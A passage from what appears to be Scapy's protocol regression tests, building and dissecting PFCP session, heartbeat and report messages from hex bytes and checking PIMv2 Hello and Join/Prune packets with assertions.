hex_bytes("2132011300000000000000000000020000030021002c000102006c00040000000200040010002a00010000160007066163636573730003000d002c000101006c00040000000100010038006c000400000002005f000100000200190015000901104c9033ac120102001600030263700014000103003800020002001d00040000006400010057006c000400000001000200350016000706616363657373001700210100001d7065726d6974206f75742069702066726f6d20616e7920746f20616e790014000100003800020001001d00040000fde800510004000000010006001b003e000104002500021000004a00040000003c00510004000000010039000d02ffde7210bf97810aac120101003c0006020465726777") pfcpSEReq1 = PFCP(version=1, S=1, seq=2, seid=0, spare_oct=0) / \ PFCPSessionEstablishmentRequest(IE_list=[ IE_CreateFAR(IE_list=[ IE_ApplyAction(FORW=1), IE_FAR_Id(id=2), IE_ForwardingParameters(IE_list=[ IE_DestinationInterface(interface="Access"), IE_NetworkInstance(instance="access"), ]) ]), IE_CreateFAR(IE_list=[ IE_ApplyAction(DROP=1), IE_FAR_Id(id=1) ]), IE_CreatePDR(IE_list=[ IE_FAR_Id(id=2), IE_OuterHeaderRemoval(header="GTP-U/UDP/IPv4"), IE_PDI(IE_list=[ IE_FTEID(V4=1, TEID=0x104c9033, ipv4="172.18.1.2"), IE_NetworkInstance(instance="cp"), IE_SourceInterface(interface="CP-function"), ]), IE_PDR_Id(id=2), IE_Precedence(precedence=100) ]), IE_CreatePDR(IE_list=[ IE_FAR_Id(id=1), IE_PDI(IE_list=[ IE_NetworkInstance(instance="access"), IE_SDF_Filter(FD=1, flow_description="permit out ip from any to any"), IE_SourceInterface(interface="Access"), ]), IE_PDR_Id(id=1), IE_Precedence(precedence=65000), IE_URR_Id(id=1) ]), IE_CreateURR(IE_list=[ IE_MeasurementMethod(EVENT=1), IE_ReportingTriggers(start_of_traffic=1), IE_TimeQuota(quota=60), IE_URR_Id(id=1) ]), IE_FSEID(v4=1, seid=0xffde7210bf97810a, ipv4="172.18.1.1"), IE_NodeId(id_type="FQDN", id="ergw") ]) assert bytes(pfcpSEReq1) == pfcpSEReq1Bytes assert bytes(PFCP(pfcpSEReq1Bytes)) == pfcpSEReq1Bytes pfcpSEReq2Bytes = hex_bytes("213202ba00000000000000000000080000030037002c000102006c00040000000400040026002a000102001600040373676900260015020012687474703a2f2f6578616d706c652e636f6d0003001e002c000102006c0004000000020004000d002a000102001600040373676900030021002c000102006c00040000000300040010002a000100001600070661636365737300030021002c000102006c00040000000100040010002a00010000160007066163636573730001006d006c0004000000040002004b00160007066163636573730017002e0100002a7065726d6974206f75742069702066726f6d203139382e31392e36352e3420746f2061737369676e65640014000100005d0005020ac00000003800020004001d00040000006400510004000000020001006d006c0004000000020002004b00160007066163636573730017002e0100002a7065726d6974206f75742069702066726f6d203139382e31392e36352e3220746f2061737369676e65640014000100005d0005020ac00000003800020002001d0004000000c800510004000000010001006a006c0004000000030002004800160004037367690017002e0100002a7065726d6974206f75742069702066726f6d203139382e31392e36352e3420746f2061737369676e65640014000102005d0005060ac00000003800020003001d00040000006400510004000000020001006a006c0004000000010002004800160004037367690017002e0100002a7065726d6974206f75742069702066726f6d203139382e31392e36352e3220746f2061737369676e65640014000102005d0005060ac00000003800020001001d0004000000c8005100040000000100060013003e000102002500020000005100040000000200060013003e00010200250002000000510004000000010039000d02ffde7210d971c146ac120101003c0006020465726777") pfcpSEReq2 = PFCP(seq=8) / PFCPSessionEstablishmentRequest(IE_list=[ IE_CreateFAR(IE_list=[ IE_ApplyAction(FORW=1), IE_FAR_Id(id=4), IE_ForwardingParameters(IE_list=[ IE_DestinationInterface(interface="SGi-LAN/N6-LAN"), IE_NetworkInstance(instance="sgi"), IE_RedirectInformation(type="URL", address="http://example.com"), ]) ]), IE_CreateFAR(IE_list=[ IE_ApplyAction(FORW=1), IE_FAR_Id(id=2), IE_ForwardingParameters(IE_list=[ IE_DestinationInterface(interface="SGi-LAN/N6-LAN"), IE_NetworkInstance(instance="sgi"), ]) ]), IE_CreateFAR(IE_list=[ IE_ApplyAction(FORW=1), IE_FAR_Id(id=3), IE_ForwardingParameters(IE_list=[ IE_DestinationInterface(interface="Access"), IE_NetworkInstance(instance="access") ]) ]), IE_CreateFAR(IE_list=[ IE_ApplyAction(FORW=1), IE_FAR_Id(id=1), IE_ForwardingParameters(IE_list=[ IE_DestinationInterface(interface="Access"), IE_NetworkInstance(instance="access") ]) ]), IE_CreatePDR(IE_list=[ IE_FAR_Id(id=4), IE_PDI(IE_list=[ IE_NetworkInstance(instance="access"), IE_SDF_Filter( FD=1, flow_description="permit out ip from 198.19.65.4 to assigned"), IE_SourceInterface(interface="Access"), IE_UE_IP_Address(ipv4="10.192.0.0", V4=1) ]), IE_PDR_Id(id=4), IE_Precedence(precedence=100), IE_URR_Id(id=2) ]), IE_CreatePDR(IE_list=[ IE_FAR_Id(id=2), IE_PDI(IE_list=[ IE_NetworkInstance(instance="access"), IE_SDF_Filter(FD=1, flow_description="permit out ip from 198.19.65.2 to assigned"), IE_SourceInterface(interface="Access"), IE_UE_IP_Address(ipv4="10.192.0.0", V4=1) ]), IE_PDR_Id(id=2), IE_Precedence(precedence=200), IE_URR_Id(id=1) ]), IE_CreatePDR(IE_list=[ IE_FAR_Id(id=3), IE_PDI(IE_list=[ IE_NetworkInstance(instance="sgi"), IE_SDF_Filter(FD=1, flow_description="permit out ip from 198.19.65.4 to assigned"), IE_SourceInterface(interface="SGi-LAN/N6-LAN"), IE_UE_IP_Address(ipv4="10.192.0.0", SD=1, V4=1) ]), IE_PDR_Id(id=3), IE_Precedence(precedence=100), IE_URR_Id(id=2) ]), IE_CreatePDR(IE_list=[ IE_FAR_Id(id=1), IE_PDI(IE_list=[ IE_NetworkInstance(instance="sgi"), IE_SDF_Filter(FD=1, flow_description="permit out ip from 198.19.65.2 to assigned"), IE_SourceInterface(interface="SGi-LAN/N6-LAN"), IE_UE_IP_Address(ipv4="10.192.0.0", SD=1, V4=1) ]), IE_PDR_Id(id=1), IE_Precedence(precedence=200), IE_URR_Id(id=1) ]), IE_CreateURR(IE_list=[ IE_MeasurementMethod(VOLUM=1), IE_ReportingTriggers(), IE_URR_Id(id=2) ]), IE_CreateURR(IE_list=[ IE_MeasurementMethod(VOLUM=1), IE_ReportingTriggers(), IE_URR_Id(id=1) ]), IE_FSEID(ipv4="172.18.1.1", v4=1, seid=0xffde7210d971c146), IE_NodeId(id_type="FQDN", id="ergw")]) assert bytes(pfcpSEReq2) == pfcpSEReq2Bytes assert bytes(PFCP(pfcpSEReq2Bytes)) == pfcpSEReq2Bytes pfcpSEReq3Bytes = hex_bytes("213203a10000000000000000000003000003001e002c000102006c0004000000060004000d002a000102001600040373676900030037002c000102006c00040000000400040026002a000102001600040373676900260015020012687474703a2f2f6578616d706c652e636f6d0003001e002c000102006c0004000000020004000d002a000102001600040373676900030021002c000102006c00040000000500040010002a000100001600070661636365737300030021002c000102006c00040000000300040010002a000100001600070661636365737300030021002c000102006c00040000000100040010002a000100001600070661636365737300010042006c000400000006000200200018000354535400160007066163636573730014000100005d0005020ac00000003800020006001d00040000009600510004000000030001006d006c0004000000040002004b00160007066163636573730017002e0100002a7065726d6974206f75742069702066726f6d203139382e31392e36352e3420746f2061737369676e65640014000100005d0005020ac00000003800020004001d00040000006400510004000000020001006d006c0004000000020002004b00160007066163636573730017002e0100002a7065726d6974206f75742069702066726f6d203139382e31392e36352e3220746f2061737369676e65640014000100005d0005020ac00000003800020002001d0004000000c800510004000000010001003f006c0004000000050002001d0018000354535400160004037367690014000102005d0005060ac00000003800020005001d00040000009600510004000000030001006a006c0004000000030002004800160004037367690017002e0100002a7065726d6974206f75742069702066726f6d203139382e31392e36352e3420746f2061737369676e65640014000102005d0005060ac00000003800020003001d00040000006400510004000000020001006a006c0004000000010002004800160004037367690017002e0100002a7065726d6974206f75742069702066726f6d203139382e31392e36352e3220746f2061737369676e65640014000102005d0005060ac00000003800020001001d0004000000c8005100040000000100060013003e000102002500020000005100040000000200060013003e000103002500020000005100040000000300060013003e00010200250002000000510004000000010039000d02ffde7211a5ab800aac120101003c0006020465726777") pfcpSEReq3 = PFCP(seq=3) / \ PFCPSessionEstablishmentRequest(IE_list=[ IE_CreateFAR(IE_list=[ IE_ApplyAction(FORW=1), IE_FAR_Id(id=6), IE_ForwardingParameters(IE_list=[ IE_DestinationInterface(interface="SGi-LAN/N6-LAN"), IE_NetworkInstance(instance="sgi") ]) ]), IE_CreateFAR(IE_list=[ IE_ApplyAction(FORW=1), IE_FAR_Id(id=4), IE_ForwardingParameters(IE_list=[ IE_DestinationInterface(interface="SGi-LAN/N6-LAN"), IE_NetworkInstance(instance="sgi"), IE_RedirectInformation(type="URL", address="http://example.com") ]) ]), IE_CreateFAR(IE_list=[ IE_ApplyAction(FORW=1), IE_FAR_Id(id=2), IE_ForwardingParameters(IE_list=[ IE_DestinationInterface(interface="SGi-LAN/N6-LAN"), IE_NetworkInstance(instance="sgi") ]) ]), IE_CreateFAR(IE_list=[ IE_ApplyAction(FORW=1), IE_FAR_Id(id=5), IE_ForwardingParameters(IE_list=[ IE_DestinationInterface(interface="Access"), IE_NetworkInstance(instance="access") ]) ]), IE_CreateFAR(IE_list=[ IE_ApplyAction(FORW=1), IE_FAR_Id(id=3), IE_ForwardingParameters(IE_list=[ IE_DestinationInterface(interface="Access"), IE_NetworkInstance(instance="access") ]) ]), IE_CreateFAR(IE_list=[ IE_ApplyAction(FORW=1), IE_FAR_Id(id=1), IE_ForwardingParameters(IE_list=[ IE_DestinationInterface(interface="Access"), IE_NetworkInstance(instance="access") ]) ]), IE_CreatePDR(IE_list=[ IE_FAR_Id(id=6), IE_PDI(IE_list=[ IE_ApplicationId(id="TST"), IE_NetworkInstance(instance="access"), IE_SourceInterface(interface="Access"), IE_UE_IP_Address(ipv4='10.192.0.0', V4=1) ]), IE_PDR_Id(id=6), IE_Precedence(precedence=150), IE_URR_Id(id=3) ]), IE_CreatePDR(IE_list=[ IE_FAR_Id(id=4), IE_PDI(IE_list=[ IE_NetworkInstance(instance="access"), IE_SDF_Filter(FD=1, flow_description="permit out ip from 198.19.65.4 to assigned"), IE_SourceInterface(interface="Access"), IE_UE_IP_Address(ipv4='10.192.0.0', V4=1) ]), IE_PDR_Id(id=4), IE_Precedence(precedence=100), IE_URR_Id(id=2) ]), IE_CreatePDR(IE_list=[ IE_FAR_Id(id=2), IE_PDI(IE_list=[ IE_NetworkInstance(instance="access"), IE_SDF_Filter(FD=1, flow_description="permit out ip from 198.19.65.2 to assigned"), IE_SourceInterface(interface="Access"), IE_UE_IP_Address(ipv4='10.192.0.0', V4=1) ]), IE_PDR_Id(id=2), IE_Precedence(precedence=200), IE_URR_Id(id=1) ]), IE_CreatePDR(IE_list=[ IE_FAR_Id(id=5), IE_PDI(IE_list=[ IE_ApplicationId(id="TST"), IE_NetworkInstance(instance="sgi"), IE_SourceInterface(interface="SGi-LAN/N6-LAN"), IE_UE_IP_Address(ipv4='10.192.0.0', SD=1, V4=1) ]), IE_PDR_Id(id=5), IE_Precedence(precedence=150), IE_URR_Id(id=3) ]), IE_CreatePDR(IE_list=[ IE_FAR_Id(id=3), IE_PDI(IE_list=[ IE_NetworkInstance(instance="sgi"), IE_SDF_Filter(FD=1, flow_description="permit out ip from 198.19.65.4 to assigned"), IE_SourceInterface(interface="SGi-LAN/N6-LAN"), IE_UE_IP_Address(ipv4='10.192.0.0', SD=1, V4=1) ]), IE_PDR_Id(id=3), IE_Precedence(precedence=100), IE_URR_Id(id=2) ]), IE_CreatePDR(IE_list=[ IE_FAR_Id(id=1), IE_PDI(IE_list=[ IE_NetworkInstance(instance="sgi"), IE_SDF_Filter(FD=1, flow_description="permit out ip from 198.19.65.2 to assigned"), IE_SourceInterface(interface="SGi-LAN/N6-LAN"), IE_UE_IP_Address(ipv4='10.192.0.0', SD=1, V4=1) ]), IE_PDR_Id(id=1), IE_Precedence(precedence=200), IE_URR_Id(id=1) ]), IE_CreateURR(IE_list=[ IE_MeasurementMethod(VOLUM=1), IE_ReportingTriggers(), IE_URR_Id(id=2) ]), IE_CreateURR(IE_list=[ IE_MeasurementMethod(VOLUM=1, DURAT=1), IE_ReportingTriggers(), IE_URR_Id(id=3) ]), IE_CreateURR(IE_list=[ IE_MeasurementMethod(VOLUM=1), IE_ReportingTriggers(), IE_URR_Id(id=1) ]), IE_FSEID(ipv4='172.18.1.1', v4=1, seid=0xffde7211a5ab800a), IE_NodeId(id_type="FQDN", id="ergw") ]) assert bytes(pfcpSEReq3) == pfcpSEReq3Bytes assert bytes(PFCP(pfcpSEReq3Bytes)) == pfcpSEReq3Bytes = Build and dissect PFCP Session Establishment Response pfcpSERespBytes = hex_bytes("21330022ffde7210bf97810a0000020000130001010039000d02ffde7210bf97810aac120102") pfcpSEResp = PFCP(version=1, S=1, seq=2, seid=0xffde7210bf97810a) / \ PFCPSessionEstablishmentResponse(IE_list=[ IE_Cause(cause="Request accepted"), IE_FSEID(ipv4="172.18.1.2", v4=1, seid=0xffde7210bf97810a), ]) assert bytes(pfcpSEResp) == pfcpSERespBytes assert bytes(PFCP(pfcpSERespBytes)) == pfcpSERespBytes assert pfcpSEResp.answers(pfcpSEReq1) = Build and dissect PFCP Heartbeat Request pfcpHReqBytes = hex_bytes("2001000c0000030000600004e1a47d08") pfcpHReq = PFCP(version=1, S=0, seq=3) / \ PFCPHeartbeatRequest(IE_list=[ IE_RecoveryTimeStamp(timestamp=3785653512) ]) assert bytes(pfcpHReq) == pfcpHReqBytes assert bytes(PFCP(pfcpHReqBytes)) == pfcpHReqBytes # = Build and dissect PFCP Heartbeat Response pfcpHRespBytes = hex_bytes("2002000c0000030000600004e1a47af9") pfcpHResp = PFCP(version=1, S=0, seq=3) / \ PFCPHeartbeatResponse(IE_list=[ IE_RecoveryTimeStamp(timestamp=3785652985) ]) assert bytes(pfcpHResp) == pfcpHRespBytes assert bytes(PFCP(pfcpHRespBytes)) == pfcpHRespBytes assert pfcpHResp.answers(pfcpHReq) # = Build and dissect PFCP Session Report Request pfcpSRReq1Bytes = hex_bytes("21380034ffde7210bf99c00300006b0000270001020050001f00510004000000010068000400000001003f00021000005d0005020ac00001") pfcpSRReq1 = PFCP(seq=107, version=1, S=1, seid=18437299340760956931) / \ PFCPSessionReportRequest(IE_list=[ IE_ReportType(USAR=1), IE_UsageReport_SRR(IE_list=[ IE_URR_Id(id=1), IE_UR_SEQN(number=1), IE_UsageReportTrigger(START=1), IE_UE_IP_Address(ipv4="10.192.0.1", V4=1) ]) ]) assert bytes(pfcpSRReq1) == pfcpSRReq1Bytes assert bytes(PFCP(pfcpSRReq1Bytes)) == pfcpSRReq1Bytes pfcpSRReq2Bytes = hex_bytes("2138008a0ffde7210bf940000000310000270001020050007500510004000000030068000400000018003f00020100004b0004e1b44787004c0004e1b447910042001907000000000000000000000000000000000000000000000000004300040000000a8003000a48f9e1b4479137cbd8008004000a48f9e1b4478737cbd8008005000a48f9e1b4479137cbd800") pfcpSRReq2 = PFCP(seq=49, seid=1152331208797536256) / \ PFCPSessionReportRequest(IE_list=[ IE_ReportType(USAR=1), IE_UsageReport_SRR(IE_list=[ IE_URR_Id(id=3), IE_UR_SEQN(number=24), IE_UsageReportTrigger(PERIO=1), IE_StartTime(timestamp=3786688391), IE_EndTime(timestamp=3786688401), IE_VolumeMeasurement( DLVOL=1, ULVOL=1, TOVOL=1, total=0, uplink=0, downlink=0), IE_DurationMeasurement(duration=10), IE_EnterpriseSpecific( ietype=32771, enterprise_id=18681, data=b'\xe1\xb4G\x917\xcb\xd8\x00'), IE_EnterpriseSpecific( ietype=32772, enterprise_id=18681, data=b'\xe1\xb4G\x877\xcb\xd8\x00'), IE_EnterpriseSpecific( ietype=32773, enterprise_id=18681, data=b'\xe1\xb4G\x917\xcb\xd8\x00') ]) ]) assert bytes(pfcpSRReq2) == pfcpSRReq2Bytes assert bytes(PFCP(pfcpSRReq2Bytes)) == pfcpSRReq2Bytes pfcpSRReq3Bytes = hex_bytes("21380035a2a2aa9ad7f316fd0000010000270001020050002000510004000000010068000400000000003f0003100000005d000502ac100202") pfcpSRReq3 = PFCP(seq=1, seid=11719116762396169981) / \ PFCPSessionReportRequest(IE_list=[ IE_ReportType(USAR=1), IE_UsageReport_SRR(IE_list=[ IE_URR_Id(id=1), IE_UR_SEQN(number=0), IE_UsageReportTrigger(START=1, extra_data=b'\x00'), IE_UE_IP_Address(ipv4='172.16.2.2', V4=1) ]) ]) assert bytes(pfcpSRReq3) == pfcpSRReq3Bytes assert bytes(PFCP(pfcpSRReq3Bytes)) == pfcpSRReq3Bytes = Build and dissect PFCP Session Report Response pfcpSRRespBytes = hex_bytes("21390011ffde7210bf99c00300006b000013000101") pfcpSRResp = PFCP(version=1, S=1, seq=107, seid=0xffde7210bf99c003) / \ PFCPSessionReportResponse(IE_list=[ IE_Cause(cause="Request accepted") ]) assert bytes(pfcpSRResp) == pfcpSRRespBytes assert bytes(PFCP(pfcpSRRespBytes)) == pfcpSRRespBytes assert pfcpSRResp.answers(pfcpSRReq1) = Build and dissect PFCP Session Modification Request pfcpSMReqBytes = hex_bytes("21340018ffde72125aeb00a300000600004d00080051000400000001") pfcpSMReq = PFCP(pfcpSMReqBytes) pfcpSMReq = PFCP(version=1, seq=6, seid=0xffde72125aeb00a3) / \ PFCPSessionModificationRequest(IE_list=[ IE_QueryURR(IE_list=[IE_URR_Id(id=1)]) ]) assert bytes(pfcpSMReq) == pfcpSMReqBytes assert bytes(PFCP(pfcpSMReqBytes)) == pfcpSMReqBytes = Build and dissect PFCP Session Modification Response pfcpSMRespBytes = hex_bytes("2135008affde72125aeb00a3000006000013000101004e007500510004000000010068000400000000003f00028000004b0004e16e7efa004c0004e16e7efa004200190700000000000000000000000000000000000000000000000000430004000000008003000a48f9e16e7efa05566c008004000a48f9e16e7efa027f08008005000a48f9e16e7efa027f0800") pfcpSMResp = PFCP(version=1, seq=6, seid=0xffde72125aeb00a3) / \ PFCPSessionModificationResponse(IE_list=[ IE_Cause(cause=1), IE_UsageReport_SMR(IE_list=[ IE_URR_Id(id=1), IE_UR_SEQN(number=0), IE_UsageReportTrigger(IMMER=1), IE_StartTime(timestamp=3782115066), IE_EndTime(timestamp=3782115066), IE_VolumeMeasurement(DLVOL=1, ULVOL=1, TOVOL=1), IE_DurationMeasurement(), IE_EnterpriseSpecific(ietype=32771, enterprise_id=18681, data=b'\xe1n~\xfa\x05Vl\x00'), IE_EnterpriseSpecific(ietype=32772, enterprise_id=18681, data=b'\xe1n~\xfa\x02\x7f\x08\x00'), IE_EnterpriseSpecific(ietype=32773, enterprise_id=18681, data=b'\xe1n~\xfa\x02\x7f\x08\x00') ]) ]) assert bytes(pfcpSMResp) == pfcpSMRespBytes assert bytes(PFCP(pfcpSMRespBytes)) == pfcpSMRespBytes assert pfcpSMResp.answers(pfcpSMReq) = Verify IEs from difflib import unified_diff cases = [ dict( hex="0054000a0100010000000a177645", expect=IE_OuterHeaderCreation(GTPUUDPIPV4=1, TEID=0x01000000, ipv4="10.23.118.69")), dict( hex="002900050461626364", expect=IE_ForwardingPolicy(policy_identifier="abcd")), dict( hex="002e0001ae", expect=IE_DownlinkDataNotificationDelay(delay=174)), dict( hex="003d00020000", expect=IE_PFDContents()), dict( hex="005e00070300205903e95d", expect=IE_PacketRate(ULPR=1, DLPR=1, ul_time_unit="minute", ul_max_packet_rate=8281, dl_time_unit="day", dl_max_packet_rate=59741)), dict( hex="00850007010906638dccd5", expect=IE_MACAddress(SOUR=1, source_mac="09:06:63:8d:cc:d5")), dict( hex="00540014080017d0bd69dceb747a1e036c0f9c8d4af115d0", expect=IE_OuterHeaderCreation(UDPIPV6=1, ipv6="17d0:bd69:dceb:747a:1e03:6c0f:9c8d:4af1", port=5584)), dict( hex="006700050280df69b2", expect=IE_RemoteGTP_U_Peer(V4=1, ipv4="128.223.105.178")), ] for case in cases: bs = hex_bytes(case["hex"]) exp = case["expect"] dissected = type(exp)(bs) exp_text = exp.show2(dump=True) dissected_text = dissected.show2(dump=True) if exp_text != dissected_text: print("---\n%s\n---\n%s\n" % (exp_text, dissected_text)) for line in unified_diff(exp_text.split("\n"), dissected_text.split("\n"), fromfile="expected", tofile="dissected"): print(line) raise AssertionError("text mismatch") assert bytes(dissected) == bs assert bytes(exp) == bs # from difflib import unified_diff # expected = PFCP(pfcpSRReq2Bytes).show2(dump=True).split("\n") # actual = pfcpSRReq2.show2(dump=True).split("\n") # for line in unified_diff(expected, actual, fromfile="expected", tofile="actual"): # print(line) ================================================ FILE: test/contrib/pim.uts ================================================ # PIM Related regression tests # # Type the following command to launch start the tests: # $ test/run_tests -P "load_contrib('pim')" -t test/contrib/pim.uts + pim = PIMv2 Hello - instantiation hello_data = b'\x01\x00^\x00\x00\r\x00\xd0\xcb\x00\xba\xe4\x08\x00E\xc0\x00BY\xf9\x00\x00\x01gTe\x15\x15\x15\x15\xe0\x00\x00\r \x00\xa55\x00\x01\x00\x02\x00i\x00\x13\x00\x04\x00\x00\x00\x00\x00\x02\x00\x04\x01\xf4\t\xc4\x00\x14\x00\x04\x00\x00\x00\x00' hello_pkt = Ether(hello_data) assert (hello_pkt[PIMv2Hdr].version == 2) assert (hello_pkt[PIMv2Hdr].type == 0) assert (len(hello_pkt[PIMv2Hello].option) == 4) assert (hello_pkt[PIMv2Hello].option[0][PIMv2HelloHoldtime].type == 1) assert (hello_pkt[PIMv2Hello].option[0][PIMv2HelloHoldtime].holdtime == 105) assert (hello_pkt[PIMv2Hello].option[1][PIMv2HelloDRPriority].type == 19) assert (hello_pkt[PIMv2Hello].option[1][PIMv2HelloDRPriority].dr_priority == 0) assert (hello_pkt[PIMv2Hello].option[2][PIMv2HelloLANPruneDelay].type == 2) assert (hello_pkt[PIMv2Hello].option[2][PIMv2HelloLANPruneDelay].value[0][PIMv2HelloLANPruneDelayValue].t == 0) assert (hello_pkt[PIMv2Hello].option[2][PIMv2HelloLANPruneDelay].value[0][PIMv2HelloLANPruneDelayValue].propagation_delay == 500) assert (hello_pkt[PIMv2Hello].option[2][PIMv2HelloLANPruneDelay].value[0][PIMv2HelloLANPruneDelayValue].override_interval == 2500) assert (hello_pkt[PIMv2Hello].option[3][PIMv2HelloGenerationID].type == 20) repr(PIMv2HelloLANPruneDelayValue(t=1)) = PIMv2 Join/Prune - instantiation jp_data = b'\x01\x00^\x00\x00\r\x00\xd0\xcb\x00\xba\xe4\x08\x00E\xc0\x00rY\xfb\x00\x00\x01gT3\x15\x15\x15\x15\xe0\x00\x00\r#\x00\x1b\x18\x01\x00\x15\x15\x15\x16\x00\x04\x00\xd2\x01\x00\x00 \xef\x01\x01\x0b\x00\x01\x00\x00\x01\x00\x07 \x16\x16\x16\x15\x01\x00\x00 \xef\x01\x01\x0c\x00\x01\x00\x00\x01\x00\x07 \x16\x16\x16\x15\x01\x00\x00 \xef\x01\x01\x0b\x00\x00\x00\x01\x01\x00\x07 \x16\x16\x16\x15\x01\x00\x00 \xef\x01\x01\x0c\x00\x00\x00\x01\x01\x00\x07 \x16\x16\x16\x15' jp_pkt = Ether(jp_data) assert (jp_pkt[PIMv2Hdr].version == 2) assert (jp_pkt[PIMv2Hdr].type == 3) assert (jp_pkt[PIMv2JoinPrune].up_addr_family == 1) assert (jp_pkt[PIMv2JoinPrune].up_encoding_type == 0) assert (jp_pkt[PIMv2JoinPrune].up_neighbor_ip == "21.21.21.22") assert (jp_pkt[PIMv2JoinPrune].reserved == 0) assert (jp_pkt[PIMv2JoinPrune].num_group == 4) assert (jp_pkt[PIMv2JoinPrune].holdtime == 210) assert (jp_pkt[PIMv2JoinPrune].num_group == len(jp_pkt[PIMv2JoinPrune].jp_ips)) assert (jp_pkt[PIMv2JoinPrune].jp_ips[0].addr_family == 1) assert (jp_pkt[PIMv2JoinPrune].jp_ips[0].encoding_type == 0) assert (jp_pkt[PIMv2JoinPrune].jp_ips[0].bidirection == 0) assert (jp_pkt[PIMv2JoinPrune].jp_ips[0].reserved == 0) assert (jp_pkt[PIMv2JoinPrune].jp_ips[0].admin_scope_zone == 0) assert (jp_pkt[PIMv2JoinPrune].jp_ips[0].mask_len == 32) assert (jp_pkt[PIMv2JoinPrune].jp_ips[0].gaddr == "239.1.1.11") assert (jp_pkt[PIMv2JoinPrune].jp_ips[0].num_joins == 1) assert (jp_pkt[PIMv2JoinPrune].jp_ips[0].num_joins == len(jp_pkt[PIMv2JoinPrune].jp_ips[0].join_ips)) assert (jp_pkt[PIMv2JoinPrune].jp_ips[0].join_ips[0][PIMv2JoinAddrs].addr_family == 1) assert (jp_pkt[PIMv2JoinPrune].jp_ips[0].join_ips[0][PIMv2JoinAddrs].encoding_type == 0) assert (jp_pkt[PIMv2JoinPrune].jp_ips[0].join_ips[0][PIMv2JoinAddrs].rsrvd == 0) assert (jp_pkt[PIMv2JoinPrune].jp_ips[0].join_ips[0][PIMv2JoinAddrs].sparse == 1) assert (jp_pkt[PIMv2JoinPrune].jp_ips[0].join_ips[0][PIMv2JoinAddrs].wildcard == 1) assert (jp_pkt[PIMv2JoinPrune].jp_ips[0].join_ips[0][PIMv2JoinAddrs].rpt == 1) assert (jp_pkt[PIMv2JoinPrune].jp_ips[0].join_ips[0][PIMv2JoinAddrs].mask_len == 32) assert (jp_pkt[PIMv2JoinPrune].jp_ips[0].join_ips[0][PIMv2JoinAddrs].src_ip == "22.22.22.21") assert (jp_pkt[PIMv2JoinPrune].jp_ips[0].num_prunes == 0) assert (jp_pkt[PIMv2JoinPrune].jp_ips[0].num_prunes == len(jp_pkt[PIMv2JoinPrune].jp_ips[0].prune_ips)) assert (jp_pkt[PIMv2JoinPrune].jp_ips[2].addr_family == 1) assert (jp_pkt[PIMv2JoinPrune].jp_ips[2].encoding_type == 0) assert (jp_pkt[PIMv2JoinPrune].jp_ips[2].bidirection == 0) assert (jp_pkt[PIMv2JoinPrune].jp_ips[2].reserved == 0) assert (jp_pkt[PIMv2JoinPrune].jp_ips[2].admin_scope_zone == 0) assert (jp_pkt[PIMv2JoinPrune].jp_ips[2].mask_len == 32) assert (jp_pkt[PIMv2JoinPrune].jp_ips[2].gaddr == "239.1.1.11") assert (jp_pkt[PIMv2JoinPrune].jp_ips[2].num_joins == 0) assert (jp_pkt[PIMv2JoinPrune].jp_ips[2].num_joins == len(jp_pkt[PIMv2JoinPrune].jp_ips[2].join_ips)) assert (jp_pkt[PIMv2JoinPrune].jp_ips[2].num_prunes == 1) assert (jp_pkt[PIMv2JoinPrune].jp_ips[2].num_prunes == len(jp_pkt[PIMv2JoinPrune].jp_ips[2].prune_ips)) assert (jp_pkt[PIMv2JoinPrune].jp_ips[2].prune_ips[0][PIMv2PruneAddrs].addr_family == 1) assert (jp_pkt[PIMv2JoinPrune].jp_ips[2].prune_ips[0][PIMv2PruneAddrs].encoding_type == 0) assert (jp_pkt[PIMv2JoinPrune].jp_ips[2].prune_ips[0][PIMv2PruneAddrs].rsrvd == 0) assert (jp_pkt[PIMv2JoinPrune].jp_ips[2].prune_ips[0][PIMv2PruneAddrs].sparse == 1) assert (jp_pkt[PIMv2JoinPrune].jp_ips[2].prune_ips[0][PIMv2PruneAddrs].wildcard == 1) assert (jp_pkt[PIMv2JoinPrune].jp_ips[2].prune_ips[0][PIMv2PruneAddrs].rpt == 1) assert (jp_pkt[PIMv2JoinPrune].jp_ips[2].prune_ips[0][PIMv2PruneAddrs].mask_len == 32) assert (jp_pkt[PIMv2JoinPrune].jp_ips[2].prune_ips[0][PIMv2PruneAddrs].src_ip == "22.22.22.21") = PIMv2 Hello - build hello_delay_pkt = Ether(dst="01:00:5e:00:00:0d", src="00:d0:cb:00:ba:e4")/IP(version=4, ihl=5, tos=0xc0, id=23037, ttl=1, proto=103, src="21.21.21.21", dst="224.0.0.13")/\ PIMv2Hdr(version=2, type=0, reserved=0)/\ PIMv2Hello(option=[PIMv2HelloHoldtime(type=1, holdtime=105), PIMv2HelloDRPriority(type=19, dr_priority=0), PIMv2HelloLANPruneDelay(type=2, value=[PIMv2HelloLANPruneDelayValue(t=0, propagation_delay=500, override_interval=2500)]), PIMv2HelloGenerationID(type=20, generation_id=459007194)]) assert raw(hello_delay_pkt) == b'\x01\x00^\x00\x00\r\x00\xd0\xcb\x00\xba\xe4\x08\x00E\xc0\x006Y\xfd\x00\x00\x01gTm\x15\x15\x15\x15\xe0\x00\x00\r \x00\xd3p\x00\x01\x00\x02\x00i\x00\x13\x00\x04\x00\x00\x00\x00\x00\x02\x00\x04\x01\xf4\t\xc4\x00\x14\x00\x04\x1b[\xe4\xda' hello_refresh_pkt = Ether(dst="01:00:5e:00:00:0d", src="c2:01:52:72:00:00")/IP(version=4, ihl=5, tos=0xc0, id=121, ttl=1, proto=103, src="10.0.0.1", dst="224.0.0.13")/\ PIMv2Hdr(version=2, type=0, reserved=0)/\ PIMv2Hello(option=[PIMv2HelloHoldtime(type=1, holdtime=105), PIMv2HelloGenerationID(type=20, generation_id=3613938422), PIMv2HelloDRPriority(type=19, dr_priority=1), PIMv2HelloStateRefresh(type=21, value=[PIMv2HelloStateRefreshValue(version=1, interval=0, reserved=0)])]) assert raw(hello_refresh_pkt) == b'\x01\x00^\x00\x00\r\xc2\x01Rr\x00\x00\x08\x00E\xc0\x006\x00y\x00\x00\x01g\xce\x1a\n\x00\x00\x01\xe0\x00\x00\r \x00\xb3\xeb\x00\x01\x00\x02\x00i\x00\x14\x00\x04\xd7hR\xf6\x00\x13\x00\x04\x00\x00\x00\x01\x00\x15\x00\x04\x01\x00\x00\x00' = PIMv2 Join/Prune - build join_pkt = Ether(dst="01:00:5e:00:00:0d", src="c2:02:3d:80:00:01")/IP(version=4, ihl=5, tos=0xc0, id=139, ttl=1, proto=103, src="10.0.0.14", dst="224.0.0.13")/\ PIMv2Hdr(version=2, type=3, reserved=0)/\ PIMv2JoinPrune(up_addr_family=1, 